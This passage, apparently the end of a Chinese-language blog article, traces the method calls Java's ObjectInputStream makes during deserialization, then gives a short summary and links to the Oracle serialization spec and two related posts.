NULL_HANDLE;）readNonProxyDesc方法结束，将得到的类描述信息赋值给descriptor变量：经过validateDescriptor的验证后将descriptor作为结果返回给readOrdinaryObject方法。经过了这么多方法的层层调用后，拿到了描述类信息，然后和序列化开始时类似，同样检测当前处理的对象是否是一个可反序列化的对象（checkDeserialize()），如果是，那么就从系统中读取当前Java对象所属类的描述信息（也叫做类元数据信息）然后再经过getResolveException判断有无异常信息，若无，那么会返回obj对象，然后经过几个简单的判断后会调用handles的finish方法完成引用Handle的赋值操作，最后将结果赋值给passHandle成员属性；完成赋值操作后，在经过一些常规判断后，就结束了readOrdinaryObject方法此时会返回到readObject0方法，在readObject0方法经过二次checkResolve后会返回readObject方法在反序列执行完成过后，它会调用vlist成员的doCallbacks来执行完成过后的回调逻辑，然后结束所有的序列化流程。最后再通过流程图回顾一下整个序列化的流程：0x03 总结反序列化的流程比序列化的流程要复杂一点，在反序列化读取数据的时候，其中不仅包含了各种标识的读取和判读和各种类描述信息，还要判断所序列化的内容是否安全等。反序列化是Java安全绕不开的一个话题，亦是Java安全重点之重，因此我认为对于Java的序列化和反序列化的过程，详细了解是很有必要的，本文写的略微臃肿和不足，各位看官轻拍0x04 参考https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serialTOC.htmlhttps://blog.csdn.net/silentbalanceyh/article/details/8294269https://blog.csdn.net/u011315960/article/details/89963230